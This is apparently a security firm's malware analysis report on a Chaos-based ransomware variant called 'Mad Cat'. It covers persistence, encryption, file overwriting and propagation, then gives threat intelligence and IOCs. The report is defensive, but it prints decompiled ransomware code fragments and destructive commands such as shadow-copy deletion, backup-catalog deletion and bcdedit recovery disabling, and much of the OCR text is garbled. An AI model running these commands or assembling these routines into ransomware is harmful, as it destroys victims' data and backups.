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1. Our Malware Lab

Defence Tech Malware Lab daily perfor-
ms dissection of malware with the aim of
timely understanding the technological
evolutions of attacks, consolidating the
knowledge of necessary to make more
effective and faster the process of inci-
dents responding, contributing to sprea-
ding information about emerging threats
into the expert's community and among
its clients.

Malware Lab analysts are continuously
engaged in searching and experimenting
new analysis tools, for increasing accu-
racy and scope of action with regard to

the proliferation of new evasion and
anti-analysis techniques adopted by
malwares.

The Malware Lab is also committed to
the development of proprietary tools for
malware analysis and supporting the
management and response of incidents.

Besides malware analysis, Malware Lab
ideated and implemented an automatic
process of extraction of Indicators of Com-
promise (I0C) that is daily run on dozens
of new malwares, intercepted in the wide
for populating our Knowledge Base.

CORRADO AARON VISAGGIO

Group Chief Scientist Officer & Malware Lab Director
a.visaggio@defencetech.it
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2. Executive Summary

“Chaos Ransomware” is a well-known
ransomware’ which has been in use since
at least June 2021. There are six different
versions of it and the last one is named
'Yashma' With every new release it grew
in complexity, surpassing its predeces-
sors. This family is developed in .NET
through a builder that allows users to
customise their own ransomware.

In recent months, there has been an
increase in the diffusion of Chaos Ran-
somware variants® * “. In response to this
trend, we decided to analyse one of the
recent samples known as “Mad Cat” sub-

mitted to Hatching Triage® on the 24th of
October 2023, which is spread by a threat
actor who goes by the nickname “White-
VVendor’ on Telegram.

The sample has been generated using
the Chaos Builder 5.0 as determined from
the functionalities observed in the tech-
nical analysis of the code.

We will briefly provide an overview of the
few differences between the 5.0 and the
6.0 versions (Yashma), with our focus
directed solely towards the “Mad Cat”
variant.

" https:/malpedia.caad.fkie. fraunhofer.de/details/win.chaos

? https:/www.darkreading.com/threat-intelligence/custom-yashma-ransomware-crashes-into-the-scene

? https:/blog talosintelligence.com/new-threat-actor-using-yashma-ransomware/

“ https:/'tria.ge/s/family:chaos
* https:/tria.ge/231024-g5rldabb 7y/behavioral2
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3. Analysis

Chaos Builder 5.0 was created using the
NET framework 4.0 and programmed
using the C# language. It is used to auto-
matically build variants of this malware
family, so the generated samples share
the same technology stack.

Since the builder is a private tool, we
could only go as far as describing the
public information available, this report

4 @ software (0.00.0) -
4 25 Software.exe
b B8 PE
P 80 Type References
P o0 References
b{} -
4 {} ConsoleApplication?
b 4 driveNotification @02000004
4 4 program @02000002
P BB Base Type and Interfaces
b Bl Derived Types
L .cctor() : void @06000023
Program() : void @06000020
addAndO
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g
D:O& [

trir =Y

ymSalt() : byte[] @

: bool @06000017
kForDirectories() : void @060(

Main(string[]) : void @06000002

Rty

will focus exclusively on the built samples.

In this case, the analysed sample was not
protected by a packer and didn't show
any code obfuscation, as emerges from
figure 1. This likely means that the builder
allows the creation of variants without
obfuscation by default, so it is possible
the creator of the variant could be
unaware of it.

Token: 8x86008002 RID: 2 RVA: 8x00802060 File Offset:
private stati d (-.i ring[] args)
i

if (Program.isOver())
f:
new Thread(delegate
i
Program.Run();
}).start();
return;
15
if (Program.AlreadyRunning())
A
CExit(1);
¥
if (Program.checkSleep)
1:
Program.sleepOutOfTempFolder();
Iy

if (Program.checkAdminPrivilage)

{
Program.copyResistForAdmin{Program.processhame);

¥
else if (Program.checkCopyRoaming)
{
Program.copyRoaming({Program.processName) ;
i
if (Program.checkStartupFolder)
{
Program.addLinkToStartup();
i
if (Program.checkAdminPrivilage)
i

if (Program.checkdeleteShadowCopies)
i

Program.deleteShadowCopies();
:

Figure 1. First look at the sample’s code
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3.1 Technical analysis and behaviour

3.1.1 Initialisation

The sample detects if the system is already infected by searching an executable with the
same name as itself in the Roaming folder in the user's AppData directory, that is where
it will copy itself once the infection is successful. If a copy already exists it stops execu-
ting without doing anything else.

Additionally, it verifies if a process with the same path, but a different PID (Process ID) is
already running as shown in figure 2.

private static bool AlreadyRunning()
i
Process[] processes = Process.GetProcesses();
Process currentProcess = Process.GetCurrentProcess();
foreach (Process process in processes)
i

1
if (process. [e]. == Assembly.GetExecutingAssembly(). && currentProcess. != process.Id)

}

atch (Exception)

Figure 2. AlreadyRunning function

This method of process verification is not efficient, as using a mutex would be a more
effective approach.

Furthermore, the sample expects to run with admin permissions so to elevate to an
administrative account it uses the ‘UseShellExecute’ method through the .NET class
‘ProcessStartinfo’ The executable to be launched is the sample copy from the \AppDa-
ta\Roaming folder. Finally, it sets the ‘runas’ verb to request to be run as administrator.

° https:/learn.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo.useshellexecute?
view=netframework-4.0
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string text = 1 .GetFolderPath( .SpecialFolder.
string text2 = text + processName;

ProcessStartInfo processStartInfo = new ProcessStartInfo(text2)

{

g

i1=}

= true,
= "runas",
= ProcessWindowStyle.Normal,
= text
};
Process process = new Process();
process. = processStartInfo;

Figure 3. Execute process with admin privileges

ApplicationData) + "\\";

Then it requires the user interaction through the Windows' UAC (User Account Control)

in order to be executed with high privileges.

User Account Control

Do you want to allow this app from an
unknown publisher to make changes to yo
device?

Devenders.exe

Publisher: Unknown
File origin: Hard drive on this computer
Program location: "C:\Users\{iJfJl§\AppData\Roaming
\Devenders.exe"
hen these notifications appear

Hide details

Figure 4. User Account Control for Devenders.exe

ur
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3.1.2 Persistence
In order to achieve persistence on the system, the malware creates a shortcut file with

.url” extension in the Startup folder. This shortcut points to the malware's executable
from the AppData\Roaming folder.

private static void addLinkToStartup()

{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
string text = Process.GetCurrentProcess().ProcessName;
using (StreamWriter streamWriter = new StreamWriter(folderPath + "\\" + text + ".url"))
.
string location = Assembly.GetExecutingAssembly().lLocation;

streamWriter.WriteLine("[InternetShortcut]");
streamWriter.WriteLine("URL=file:///" + location);
streamWriter.Writeline("IconIndex=0");

string text2 = location.Replace('\\', '/');
streamWriter.Writeline("IconFile=" + text2);

Figure 5. Persistence in Startup folder

Moreover, it sets a subkey of the Run Registry Key with the malware’s executable location.

private static void registryStartup()
1
try
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

registryKey.SetValue("Microsoft Store", Assembly.GetExecutingAssembly().Location);

Figure 6. Persistence in Registry Key
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3.1.3 Encryption

To encrypt the files in the system, the malware scans specific directories and checks their
contents. The code on the leftin figure 7 specifies which folders are targeted for encryp-
tion, while the code on the right represents the list of excluded files and directories.
These exclusions are made to preserve critical components essential for the basic fun-
ctionality of the operating system and other files that are usually not critical to the user.

- ies() private static bool checkDirContains(string directory)
- {

iveInfo driveInf elnf

¢ et 0 directory = directory.TolLower();
pathRoot = t ( . ) tring[] array = ne t gl ]

(drivelnfo.T ing() pathRoot) {
¢ —— r “"appdata\\local”,
( LiEncxny ( “appdata\\locallow"”,

[] directories (pathRoot);
( j=9; j directories 3 J+)
{
fo directoryInfo = Direct Info(directories[}]);
dirName = directorylnfo. .
£ (!Array. < >(array, ( E) => E == dirName)) e
fe 1 (string value in array)
(directories[§]); {
e - f (directory.Contains(value))
{
5€;
}
(driveInfo.ToString()); }

Figure 7. Ransomware's specific targets

The function encryptDirectory() in figure 9 oversees the encryption process, determining
the validity of file extensions. A static array is used to store the list of valid extensions
which will be encrypted, as shown in figure 8.
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private static stri
{

GoEXE s e Ak

rappExy, YoodEl

" .mdb", ".php",
scubf . Sidae’;
ErrERECl S dhmpes
SLaspe i dyant
".mpeg",
-swf", ".cer",

n oo
=T

".m4a", ".wma",
crt", ".xlsm"
.docm"™, ".wav"
"ovdi”, ".vmdk"
S vbE S tmiv

okbal " wpd )
SIapSh ) aNsd
".ppsm”, ".1lcd"

S s e B i
".avs”, ".bin",
"Lexr", ".kwm",
".myi", ".nef",

Gt Bt
" svgz", ".slk"
"_apsp”, ".dc3"

ng[] validExtensions = new string[]

. datis e confacts Set settingse e doc ;8w doc, B ool seoleiond] sx el np e
5 iegper s temka®s tomhieml s rogyts  opngnn Thesvtn S ipyis o eqlit
Soaspes Eoaspys s mohEmlds UohEms S oml o S opsd s S s opd s S sl gt
.indd", ".cs", ".mp3", ".mp4a", ".dwg", ".zip", ".rar", ".mov",
*_mkv", ".avi”, ".apk", ".lnk", ".dib", ".dic", ".dif", ".divx",
, ".ace”, ".arj", ".bz2", ".cab", ".gzip", ".1zh", ".tar", ".jpeg",

" "

.torrent”, ".mpg”, ".core”, ".pdb”, ".ico", ".pas”, ".db", ".wmv®,

.bak", ".backup™, ".accdb", ".bay", ".p7c", ".exif", ".vss", ".raw",

Lflv", ".sie", ".sum", “.ibank", ".wallet",
S exdsbe gz B Nepp S A= java, " Sipel it ng

" css™, ".js", ".rb",
" " _blob", ".wps",

, ".3gp", ".webm", ".m4v", ".amv", ".mdp", ".svg", ".ods", ".bk",

, ".onepkg", ".accde", ".jsp", ".json", ".gif", ".log", ".gz", ".config",

P
.sln",

.pst", “.obj", ".xlam", ".djvu", ".inc", ".cvs", ".dbf",
“ dot", ".dotx", ".xltx", ".pptm", “.potx", ".potm", ".pot", ".xlw",
“ xsf", ".xsl", ".kmz", ".accdr", “.stm", ".accdt®, ".ppam", “.pps",

, ".3ds", ".3fr", ".3g2", ".accda", ".accdc", ".accdw", ".adp", *.ai",

" .ais™; ".aie”; ".ai7™; ".ai8"; ".arw’; Suascx”™; ".asm’; “.asmx";
Socfm®™; Todbxt . Sodcm®; oder®; Sopict; Tipgbe’; “idwES; “fAv®;
".max", ".mda", ".mde", ".mdf", ".mdw", ".mht", ".mpv", ".msg",

".odc™; ":geo”; ".swift®”; “-odm”; ".odp™; "-oft®; ".orf®, "_pfx";

m il Pisafe” s mitabt ™ ubs?. moxlk®. ®odmt; toxitt "odint.
, ".tar.gz", ".dmg", ".ps", ".psb", "_tif", ".rss", ".key", ".vob",
, ".iff", "_onepkg", ".onetoc2", ".opt", ".p7b", ".pam", ".r3d"

Figure 8. Valid extensions

Furthermore, every encrypted file will be manipulated by adding a random extension. In
the following code snippet, the sample can be configured to use a fixed extension throu-
gh the ‘encryptedFileExtension’ field; in this case it is empty, meaning that the encryp-
tion process will use a random extension for each file.

public static string encryptedFileExtension = -

public static string

{

RandomStringForExtension(int length)

if (Program.encryptedFileExtension == "")

r stringBuilder = new StringBuilder();
0; i < length; i++)

"abcdefghijklmnopgrstuvwxyz©8123456789" [Program.random.Next(0,

"abcdefghijklmnopgrstuvwxyz©123456789" .Length)];

ilder. Append(c);

return stringBuilder.ToString();

{
StringBuilde
for (int i =
{
char ¢ =
stringBu
H
¥

return Program.e

ncryptedFileExtension;

Figure 9. Random extensions
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The ransomware uses different encryption algorithms based on the size of the files.
Specifically, for files smaller than 1.3 Mb, it employs a dual-layer encryption using two
functions named RSA_Encrypt() and AES_Encrypt(). However, when it comes to files
larger than 1.3 Mb, it resorts to AES_Encrypt_Large() which, we will see, is a deceptive
function name.

string

extension = Path.GetExtension(files[i]);

(=1

string fileName = Path.GetFileName(files[i]);
if (Array.Exists<string>(Program.validExtensions, (string E) => E ==

i

extension.ToLower()) && fileName != Program.droppedMessageTextbox)

FileInfo fileInfo = new FileInfo(files[i]);

try
{
fileInfo.Attributes = FileAttributes.Normal;
¥
catch
i
¥
string text = Program.CreatePassword(4€);
if (fileInfo.length < 1368709120L)
{
if (Program.checkDirContains(files[i]))
1
string text2 = Program.RSA_Encrypt(text, Program.rsaKey());
Program.AES_Encrypt(files[i], text, text2);
¥
¥
else
i
Program.AES Encrypt Large(files[i], text, fileInfo.lLength);
¥

Figure 10. encryptDirectory() function

At the end of the encryption stage, it will drop a text file named ‘HACKED.TXT" with the
ransom note which includesall the necessary information for payment, the name ‘Mad
Cat’ given to the ransomware and the nickname of the threat actor: ‘WhiteVendor.
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if (flag)
{
flag = false;

string text3 = location + "/" + Program.droppedMessageTextbox;

string folderPath = Environment.GetFolderPath
(Environment.SpecialFolder.CommonDesktopDirectory);

if (IFile.Exists(text3) &% location != folderPath)

i
File.WriteAlllLines(text3, Program.messages);

private static string droppedMessageTextbox = "HACKED.TXT";

private static List<string> messages = new List<string>

{

“----> Mad Cat Ransomware <----", "", "All your files encrypted, and you can't recover
it.”, "", "HOW TO RECOVER?", "", "1- Pay [ ©.82 BTC ] to:
bc1qwel18p9m8uezhqhyd7z459ajrk722yn8c5jafg”, "", "2- Send us Transaction ID Here =>
Telegram [@WhiteVendor]", "",

"*, "Payment informationAmount: ©.85 BTC", "Bitcoin Address:
bclgpépndaud®jj7mtcvbp@cua7B8wyelk9459mawze”, ""

¥i

Figure 11. Dropped file with the ransom note

The upcoming section provides a description of the algorithms used by this sample.
However, it's important to note that since the sample is generated by the Chaos Buil-
der, it is evident that these algorithms are implemented by all the derivatives of “Chaos
Ransomware”.

et
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3.1.3.1 RSA Algorithm

RSA, short for Rivest-Shamir-Adleman
(the inventors' surnames), is a widely
adopted asymmetric cryptography algo-
rithm. It works with two different keys:
the public key, used for the encryption,
which is shared with everyone and the
private key, used for the decryption and
held in secret. Both keys are generated
from two large prime numbers that
undergo mathematical computations.

For files smaller than 1.3 Mb, RSA is used
to protect a randomly generated per-file
key which is then used to encrypt the
actual file using regular AES.

{
byte[] bytes = Encoding.
string text2;

using (RSACryptoServiceProvider rsacryptoServiceProvider = new

i

The initial phase of the process uses
RSA-2048 implemented in the RSA_En-
crypt() function.

Figure 12 shows the algorithm used to
encrypt the per-file password, since it's a
string it is first converted to an array of
bytes using the UTF8 encoding and then
encrypted using the RSACryptoService-
Provider class.

The public key is hard-coded as a XML file
dynamically generated through a Strin-
gBuilder class as shown in Figure 13.

public static string RSA_Encrypt(string textToEncrypt, string publicKeyString)

.GetBytes(textToEncrypt);

RSACryptoServiceProvider(2048))

rsacryptoServiceProvider.FromXmlString(publicKeyString.ToString());
yyte[] array = rsacryptoServiceProvider.Encrypt(bytes, true);

string text =

text2 = text;
finally

rsacryptoServiceProvider.

return text2;

.ToBase64String(array);

Figure 12. RSA. Encrypt{() function

The public key string is derived from the rsaKey() function.
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public static string rsaKey()

{

StringBuilder stringBuilder = new StringBuilder();

stringBuilder.AppendLine("<?xml version=\"1.0\" encoding=\"utf-16\"?>");

stringBuilder.AppendlLine("<RSAParameters xmlns:xsd=\"http://www.w3.0rg/2001/XMLSchema\"
xmlns:xsi=\"http://www.w3.0rg/2001/XMLSchema-instance\">");

stringBuilder.AppendLine(" <Exponent>AQAB</Exponent>");

stringBuilder.AppendLine("

<Modulus>n7akidacJlaXkanBHVX66pvsnYeupBlB@eRrmSwzpAGIG1xAwXt6xcSnRv1FqWC1fUNiVB2F171ixpyFpUX

+5FLZaDl/

TShgGIQtgRpALSevKYYv28itXylwDPwn3eHQtazzQlcy8xaA9jQCi6IucE97U9QK7Xhed8FuUnnCCIPzBKIxy4bEBHS
+KCeddpRXdFmUnN@n4tRtnQxhejrUrjVegHrHPdoTZ/KU29e0S69BcIUgV6/4Pii0vy1+PfXA
+x%3540cnwBIfDv7N3z54mR8nEUpYMIql+sSviZMTbaXnS+1n8dx9bPz
+yMC8gPzBzXhVYjeIhWF4AqIWx82NYB0IQ==</Modulus>");

stringBuilder.AppendLine("</RSAParameters>");

return stringBuilder.ToString();

Figure 13. RSA public key

The key, as already mentioned, is structured in XML format and its signature syntax

follows this pattern:

<RSAParameters>
<Exponent>AQAB</Exponent>
<Modulus>RSA Key</Modulus>

</RSAParameters>

The actual values are encoded as base64
strings. This format is compatible with
NET" °. The private key was not found in
the sample, so it is theoretically impossi-
ble to recover encrypted files from just
this sample.

However, in Figure 14 we can see the
per-file key generation algorithm, it is

quickly apparent that it does not use a
cryptographic number generator nor a
full 256 bytes character set, meaning
that the generated key could be recove-
red by brute-forcing the seed value of the
generator which is time-based (for
example using the last modified time-
stamp of each encrypted file as a starting
point).

" https:/www.w3.0rg/TR/xmldsig-core/#sec-RSAKey\Value

® https:#/learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.xml.rsakeyvalue.key?

view=netframework-4.0
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ublic static string CreatePassword(int length)
StringBuilder stringBuilder = new StringBuilder();

Random random = new Random();

while (@ < length--)

1|

stringBuilder.Append("abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890% ! =&?&/" [ random. Next
("abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890% | =&?&/". Ml

1y
return stringBuilder.ToString();

Figure 14. File key generation algorithm

3.1.3.2 AES Algorithm

The algorithm used as the second layer of
encryption for files smaller than 1.3 Mb is
AES-256-CFB. AES, short for ‘Advanced
Encryption Standard, uses 256-bit keys
for encryption and CFB, short for ‘Cipher
Feedback; incorporates a feedback me-
chanism to produce a stream of pseudo-
random bits.

AES is a symmetric encryption algorithm
widely used for securing data and opera-
tes on fixed-size blocks of data, suppor-
ting various key sizes.

AES-256-CFB operates on 128-bit
blocks of data at a time, where the output
of the AES encryption process is XORed
with the plaintext data to produce the
encrypted ciphertext. Then, the resulting
ciphertext is used as Initialization Vector
(IV) for the next data unit. This unique
mechanism generates a self-synchroni-
sing property, which is a notable feature
of the CFB mode. This property ensures
that the encryption and decryption pro-
cesses remain synchronised even in the
presence of errors or data losses during
transmission. Figure 14 shows how the
algorithm is implemented.
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string text = inputFile + "." + 3pograr.7;'"'"’"r"'-“'"*.“:“??T'(4);

oyte[] array = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

FileStream fileStream = new FileStream(text, FileMode.Create);

byte[] bytes = Encoding. .GetBytes(password);

RijndaelManaged rijndaelManaged = new RijndaelManaged();

rijndaelManaged. = aoH

rijndaelManaged. = alzhis

rijndaelManaged. = PaddingMode .PKCS7;

Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 1);
rijndaelManaged. = rfc2898DeriveBytes.GetBytes(rijndaelManaged. / 8);

rijndaelManaged. = rfc2898DeriveBytes .GetBytes(rijndaelManaged. L8

rijndaelManaged. = CipherMode .CFB;

fileStream.Write(array, @, array. N:

CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(),
CryptoStreamMode.lrite);

FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);

fileStream2.CopyTo(cryptoStream);
fileStream2.Flush();
fileStream2.Close();
cryptoStream.Flush();
cryptoStream.Close();
fileStream.Close();

Figure 15. AES-256-CFB implementation

The next figure, instead, shows graphically how the entire mechanism works.

Initialization Vector (IV)

Key block u:lpher
encryption
Plaintext Plaintext Plaintext

mannnnnnnnnnn il maannnnnnnnnnll

Ciphertext Ciphertext Ciphertext

Cipher Feedback (CFB) mode encryption

Figure 16. AES-CFB scheme

Malware Lab Analysis Report | 19



3.1.3.3 Overwriting

As we previously mentioned, the function AES _Encrypt_Large() is misleading. Although
the function's name suggests that it is an encryption algorithm, this is not the case.
Instead, its purpose is to completely overwrite files larger than 1.3 Mb, as a result, any
files subjected to this function can never be recovered even if the ransom is paid.

private static void AES_Encrypt_Large(string inputFile, string password, long lenghtBytes)

i
Program.GenerateRandomSalt();
using (FileStream fileStream = new FileStream(inputFile + "." +
Program.RandomStringForExtension(4), FileMode.Create, FileAccess.Write, FileShare.None))
{

fileStream.SetlLength(lenghtBytes);
ile.WriteAllText(inputFile, "?");
.Delete(inputFile);

Figure 17. Overwriting function

3.1.4 Propagation

This ransomware sample has the ability to propagate through drives, copying its execu-
table to any external drive attached to the system.

private static void spreadIt(string spreadName)

{
foreach (DrivelInfo driveInfo in DrivelInfo.GetDrives())
{

if (driveInfo.ToString() != .GetPathRoot( ironment.S ) && IF .Exists(driveInfo.ToString() + spreadName))
i
try
= _Copy(Assembly.GetExecutingAssembly(). 3 , driveInfo.ToString() + spreadName);
¥
catch

Figure 18. Spreading function
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3.1.5 Generic Ransomware Common Behaviour

Like most ransomware, this malware family operates in Hidden mode for every ‘cmd’
command, waiting indefinitely for the process to exit with the WaitForExit() function®.

private static void runCommand(string commands)

i
Process process = new Process();
process.StartInfo = new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = "/C " + commands,
dowStyle = ProcessWindowStyle.Hidden
s
process.Start();
process.WaitForExit();
T

Figure 19. Run command lines in Hidden mode

The ransomware deletes the system backup catalog, preventing users from accessing
automatic file backups. Notably, these actions are carried out without any prompts or
notifications to the user™.

private static void deleteBackupCatalog()

{
Program.runCommand("wbadmin delete catalog -quiet");

Figure 20. Deletes backup catalog

? https:/learn.microsoft.com/en-us/dotnet/api/system.diagnostics.process.waitforexit?view=netframework-4.0

" https:/learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog
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1 12

It also deletes all the volume's shadow copies
while running.

without displaying any messages

private static void deleteShadowCeopies()
{

Program.runCommand("vssadmin delete shadows /all /quiet & wmic shadowcopy delete");
T

Figure 21. Deletes shadow copies

Moreover, it ignores errors that occur during failed boot or shutdown processes,
disabling the Windows Automatic Repair, through the 'bcdedit /set’ command line™.

private static void disableRecoveryMode()
{

Program.runCommand("bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no");
¥

Figure 22. Ignores failures disabling Windows Automatic Repair

Ultimately, the malware has the ability to disable the Task Manager, just by modifying
the registry key in the System Policies as shown in figure 23.

public static void DisableTaskManager()
i
try
i
RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
registryKey.SetValue("DisableTaskMgr™, "1");
registryKey.Close();

Figure 23. Disables the Task Manager

" https:/learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service
" https:/learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-delete-shadows

” https:/learn.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set
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3.1.6 Termination and Ransom

When the encryption is terminated, the malware changes the desktop’s wallpaper, the
image is stored as a hard-coded Base64 string.

public static void SetWallpaper(string base64)

i

if (base64 != "")

{
try
) |
| string text = Path.GetTempPath() + Program.RandomString(9) + ".jpg";

File.WriteAllBytes(text, Convert.FromBase64String(base64));

| Program.SystemParametersInfo(20U, OU, text, 3U);
H
catch
{
¥

Figure 24. From Base64 to Image

Finally, the ransom demand is to send Bitcoin to specified addresses which will also be
copied to the system clipboard.

protected override void WndProc(ref e m)
{

if (m.Msg == 797)

{

driveNotification.NotificationForm.currentClipboard = driveNotification.NotificationForm.GetText();
if (driveNotification.NotificationForm.currentClipboard.StartsWith("bc1l™))

{
if (this.RegexResult(Program.appMutexRegex) && !driveNotification.NotificationForm.currentClipboard.Contains
(Program.appMutex))
{
string text = Program.appMutexRegex.Replace(driveNotification.NotificationForm.currentClipboard, Program.appMutex);
driveNotification.NotificationForm.SetText(text);
}
¥

else if (this.RegexResult(Program.appMutexRegex) && !driveNotification.NotificationForm.currentClipboard.Contains

(Program.appMutex2))

string text2 = Program.appMutexRegex.Replace(driveNotification.NotificationForm.currentClipboard, Program.appMutex2);
driveNotification.NotificationForm.SetText(text2);

+
}
base.wWndProc(ref m);

Figure 25. Replace Clipboard content with Bitcoin address
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3.2 Chaos Ransomware family

The source code of this ransomware comes from Chaos Ransomware, a well-known
ransomware since June 2021. There are six different versions of it and the last one is
named 'Yashma' With every new release it grew in complexity, surpassing its predeces-
sors. This family is developed in .NET through a builder that allows users to customise
their own ransomware.

The BlackBerry Research & Intelligence Team did an excellent job combining information
about the Chaos family tree in their report™. The following figure summarises the history
of this family, with the BlackBerry report as the primary source.

Chaos is a .NET compiled, GUI builder for ransomware.
It was initially dubbed “Ryuk .Net Ransomware Builder v1.0,”
although it shared few similarities with the “real” Ryuk.
e Chaos v1.0-v3.0 could not encrypt files bigger than 1MB.
e June 2021 saw rapid releases of versions v1.0 — v3.0.
o Version 1.0 — Acted more like a wiper
Version 2.0 — First dubbed “Chaos Builder”
Version 2.0 - File Recovery Disruptor added
Version 3.0 — Could AES/RSA-encrypt files >1MB
Version 3.0 - Deployed with decryptor builder

Chaos Builder
1.0-3.0

} ¢ Chaos Builder has been seen in-the-wild since June 2021.

0 0 0 0

N

* Chaos Builder 4.0 has been seen in-the-wild since August 2021.
Chaos 4.0 ¢ The new version of Chaos was identically .NET compiled; it also

contained a GUI builder for ransomware.
® It could now AES/RSA encrypt files >2MB.
s It also had the ability to change the wallpaper of victim devices.
e In April 2022, ONYX ransomware appeared. It was directly
based on Chaos Builder 4.0, with 98% direct code similarities.

* ONYX then deployed a “Leak Site,” publicly revealing Onyx
victim’s info and stolen data.

N

® Chaos Builder 5.0 “leaked” in April 2022.
ChaOS 5,0 + * The new builder had many additional features, although

functionality was solidly based on Chaos Builder v4.0.

e This version could now encrypt beyond the C:\\ drive.

® Chaos Builder 5.0 had more refined decryptor processes; for
example, it could now handle encrypting larger files.

e The updated builder could also disable Task Manager.

e New functionality was added: the ability to self-delete.

N

in-the-wild since May 2022.

e Aside from its name, Yashma has had only minor iterative
changes since Chaos Builder v5.0.

e There are very few samples of Yashma ransomware in-the-
wild at the time of writing.

* Yashma now has the ability to obfuscate itself via.the NET
obfuscator, “Confuser v1.9.0.0.”

e Yashma can now stop a user’s backup service list.

e Yashma also has a country-specific termination list;
presumably to avoid legal trouble in its country of origin.

"Yashma"
Ransomware

J e The newly renamed “Yashma" ransomware has been seen

Figure 26. History of the Chaos Ransomware family

" https:/blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree
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The sample analysed in this report is based on Chaos 5.0, considering the available fun-
ctionalities. The differences added in the "Yashma' version are the implementation of the
NET packer Confuser v1.9 and the country-specific termination list as in the next figure.

rivate static bool forbiddenCountry()

= T

Figure 27. Country termination list

For more details we suggest reading the BlackBerry report.

3.3 Threat intelligence

Using the information provided in the
ransom note, we performed a threat
intelligence investigation about the nick-
name ‘WhiteVendor' and the Bitcoin
Transaction ID.

Our research on 'WhiteVendor' revealed
that this individual was registered on
BreachForums, a black hat hacking crime

forum, with the username ‘Rooted. He
had posted samples of Arabian, Chinese
and Japanese ID cards, which could mean
a potential involvement in ID card cloning
activities. However, the forum's account
was permanently banned, and its e-mail
address was exposed, as seen in the
following figure.
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KSA - Saudi Arabia ID Cards
by Rooted - Monday October 23, 2023 at 12:47 PM

Rooted SAMPLE: https://pixeldrain.com/u/mDPpi8K

Banned

Posts:
Threads:
Joined:

Reputation:

Quantity: 78K ID Card
Data Will Not Divided.

Price: 3,100$
Telegram: @WhiteVendor

This forum account is currently banned. Ban Length: (Permanent)
Ban Reason: Scamming. Email Address: onionroot3d@gmail.com Last Known IP: 144.172.76.100

15
10

Sep 2023

Figure 28. ‘Whitel/endor’ on BreachForums

Subsequently, performing Google dorks™ techniques using the exposed e-mail, we
uncovered the reason for WhiteVendor's permanent ban. Ironically, the ban was not
related to illegal activities but rather due to a ‘Scam report.

[RESOLVED] Scam Report against @rooted | 19.5 xmr
by onesandzeros - Friday October 27, 2023 at 03:48 AM

W onesandzeros

GOD User
Posts: 8
Threads: 1
Joined: Jun 2023
Reputation 3

#
Title of Thread: Scam Report against @Reoted | 19.5 xmr

Name: @Rooted https://breachforums.is/User-Rooted
Product: https://breachforums.is/Thread-SELLING-C...First-Hand

How did you get scammed: i pay his xmr, he ask more, i pay, that 4 day ago. he now not talk, not give data, i try his tele and here. all business deal done in forum
PM. admins plz look my pms for proof

Time of scam: 4 day ago

Figure 29. Scam report on ‘Whitel/endor’

" https:/www.exploit-db.com/google-hacking-database
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We were unable to obtain further information about ‘WhiteVVendor! therefore we shifted
the focus to the Bitcoin transaction IDs:

» bc1qwOlI8pSm8uezhqghyd7z459ajrk722yn8c5j4fg: this ID has only been involved in

six transactions, as shown in the figure below. Moreover, it is also referenced in a
separate threat intelligence report published by Rakesh Krishnan™ in January 2023.

Wallet

Summary

0.02239444 BTC 0.02239444 BTC 0.04478888 BTC

Transactions

From

From
To

Figure 30. First ID's transactions

» bc1gp6pniaudOjj7mtcvépOcua’78wyelk9459mawze: the second ID remains active
and is associated to 52 transactions at the time of writing, as seen in the next figure.
This suggests that probably the sample is still spreading.

"“https:#/medium.com/coinmonks/chasing-chaos-ransomware-unveiling-2017-belarus-hack-incident-
82cf90547¢10
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Wallet

Summary

0.20402689 BTC 0.20381846 BTC 0.40784535BTC

Transactions

Figure 31. Second ID's transactions

3.4 10C

In the next table we inserted loC of the analysed sample.

Note: detection rates are as of time of writing, given the low rates they are likely to increase over the course
of the following days as AV vendors update their products.

Type Value Note
SEDE
SHA-256 cf5705942d02b4585d0ee603e8773d888937e0f4221d38ea VirusTotal
9404356a1d906392

-58/71

Bitcoin
ID bc1qwO0II8pOm8uezhghyd7z459ajrk722yn8c5j4fg Transaction’s ID:
blockchain.com

Bitcoin
ID bc1gp6pns4audOjj7mtcv6pOcua78wyelk9459mawze Transaction’s ID:

blockchain.com

Table 1. Indicators of compromise
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4. Conclusions

Given the current threat landscape, ran-
somware is one of the major dangers to
organizations with both the power to

disrupt operations and steal sensitive data.

Our recommendation is to adopt security
best practices, for example from NIST",
in order to ensure data safety and protect
against encryption attacks. This includes
implementing isolated backup and reco-
very measures that are regularly tested.

Additionally, it's also important to con-
duct vulnerability assessments regularly
to detect known CVEs and system
misconfigurations.

=
~

(]

7
1
.

Moreover, it is also crucial to be cautious
about ransom payments because it's not
guaranteed file recovery, as in this case at
least half of the files are overwritten and
not encrypted by the ransomware, mea-
ning that the recovery is impossible. So,
we strongly recommend to never pay
the ransom.

Finally, it is fundamental to perform
security and phishing awareness training
campaigns, in order to improve the secu-
rity posture in the company.

"7 https:/www.nist.gov/itl/smallbusinesscyber/guidance-topic/ransomware
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